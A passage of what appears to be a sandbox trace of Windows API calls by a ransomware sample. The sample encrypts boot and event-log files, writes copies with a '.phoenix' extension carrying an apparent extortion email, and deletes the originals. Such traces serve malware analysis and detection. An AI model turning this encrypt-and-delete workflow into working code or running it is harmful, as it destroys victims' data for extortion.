	[0213.679] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.680] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.680] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76128) returned 1
	[0213.680] CloseHandle (hObject=0x548) returned 1
	[0213.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20
	[0213.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.680] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.680] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.680] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.680] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77152) returned 1
	[0213.680] CloseHandle (hObject=0x548) returned 1
	[0213.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20
	[0213.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.681] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.681] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.681] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.681] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=44960) returned 1
	[0213.681] CloseHandle (hObject=0x548) returned 1
	[0213.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20
	[0213.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.883] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.064] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.064] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.064] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.065] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.148] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.148] CloseHandle (hObject=0x530) returned 1
	[0214.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20
	[0214.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\application.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.148] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.149] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.149] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.149] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\application.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.149] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x629580) returned 1
	[0214.150] CryptSetKeyParam (hKey=0x629580, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.150] ReadFile (in: hFile=0x530, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.184] CryptEncrypt (in: hKey=0x629580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.184] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.186] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665e98) returned 1
	[0214.186] CryptSetKeyParam (hKey=0x665e98, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.186] CryptEncrypt (in: hKey=0x665e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x50, dwBufLen=0x50 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x50) returned 1
	[0214.186] CryptDestroyKey (hKey=0x665e98) returned 1
	[0214.186] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x102, lpOverlapped=0x0) returned 1
	[0214.186] CryptDestroyKey (hKey=0x629580) returned 1
	[0214.186] CloseHandle (hObject=0x530) returned 1
	[0214.186] CloseHandle (hObject=0x534) returned 1
	[0214.188] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1
	[0214.189] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.189] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.189] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.189] CloseHandle (hObject=0x534) returned 1
	[0214.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0214.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.189] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.189] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.189] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.190] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.190] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x629580) returned 1
	[0214.190] CryptSetKeyParam (hKey=0x629580, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.190] ReadFile (in: hFile=0x534, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.205] CryptEncrypt (in: hKey=0x629580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.205] WriteFile (in: hFile=0x530, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.206] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665218) returned 1
	[0214.206] CryptSetKeyParam (hKey=0x665218, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.206] CryptEncrypt (in: hKey=0x665218, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x60, dwBufLen=0x60 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x60) returned 1
	[0214.206] CryptDestroyKey (hKey=0x665218) returned 1
	[0214.206] WriteFile (in: hFile=0x530, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x112, lpOverlapped=0x0) returned 1
	[0214.206] CryptDestroyKey (hKey=0x629580) returned 1
	[0214.207] CloseHandle (hObject=0x534) returned 1
	[0214.207] CloseHandle (hObject=0x530) returned 1
	[0214.208] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1
	[0214.210] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.210] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.211] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.211] CloseHandle (hObject=0x534) returned 1
	[0214.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0214.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.211] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.211] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.211] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.211] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.212] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x665658) returned 1
	[0214.212] CryptSetKeyParam (hKey=0x665658, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.212] ReadFile (in: hFile=0x534, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.231] CryptEncrypt (in: hKey=0x665658, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.231] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.233] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665018) returned 1
	[0214.233] CryptSetKeyParam (hKey=0x665018, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.233] CryptEncrypt (in: hKey=0x665018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xc0, dwBufLen=0xc0 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0xc0) returned 1
	[0214.233] CryptDestroyKey (hKey=0x665018) returned 1
	[0214.233] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x172, lpOverlapped=0x0) returned 1
	[0214.233] CryptDestroyKey (hKey=0x665658) returned 1
	[0214.233] CloseHandle (hObject=0x534) returned 1
	[0214.233] CloseHandle (hObject=0x550) returned 1
	[0214.235] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1
	[0214.236] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.236] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.237] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.237] CloseHandle (hObject=0x550) returned 1
	[0214.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0214.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.237] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.237] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.237] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.237] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.237] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x665398) returned 1
	[0214.237] CryptSetKeyParam (hKey=0x665398, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.237] ReadFile (in: hFile=0x550, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.272] CryptEncrypt (in: hKey=0x665398, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.272] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.274] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665018) returned 1
	[0214.274] CryptSetKeyParam (hKey=0x665018, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.274] CryptEncrypt (in: hKey=0x665018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x80, dwBufLen=0x80 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x80) returned 1
	[0214.274] CryptDestroyKey (hKey=0x665018) returned 1
	[0214.274] WriteFile (in: hFile=0x534, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x132, lpOverlapped=0x0) returned 1
	[0214.274] CryptDestroyKey (hKey=0x665398) returned 1
	[0214.274] CloseHandle (hObject=0x550) returned 1
	[0214.274] CloseHandle (hObject=0x534) returned 1
	[0214.277] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1
	[0214.279] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0214.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.279] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=69632) returned 1
	[0214.279] CloseHandle (hObject=0x534) returned 1
	[0214.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0214.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.279] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.279] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f710 | out: lpNewFilePointer=0x0) returned 1
	[0214.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0214.280] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f724 | out: phKey=0x3e5f724*=0x665318) returned 1
	[0214.280] CryptSetKeyParam (hKey=0x665318, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.280] ReadFile (in: hFile=0x534, lpBuffer=0x420e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e5f74c, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesRead=0x3e5f74c*=0x11000, lpOverlapped=0x0) returned 1
	[0214.315] CryptEncrypt (in: hKey=0x665318, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010, dwBufLen=0x11010 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x11010) returned 1
	[0214.315] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x11010, lpOverlapped=0x0) returned 1
	[0214.317] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f728 | out: phKey=0x3e5f728*=0x665698) returned 1
	[0214.317] CryptSetKeyParam (hKey=0x665698, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0214.317] CryptEncrypt (in: hKey=0x665698, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x90, dwBufLen=0x90 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6e8*=0x90) returned 1
	[0214.317] CryptDestroyKey (hKey=0x665698) returned 1
	[0214.317] WriteFile (in: hFile=0x550, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x3e5f730, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f730*=0x142, lpOverlapped=0x0) returned 1
	[0214.317] CryptDestroyKey (hKey=0x665318) returned 1
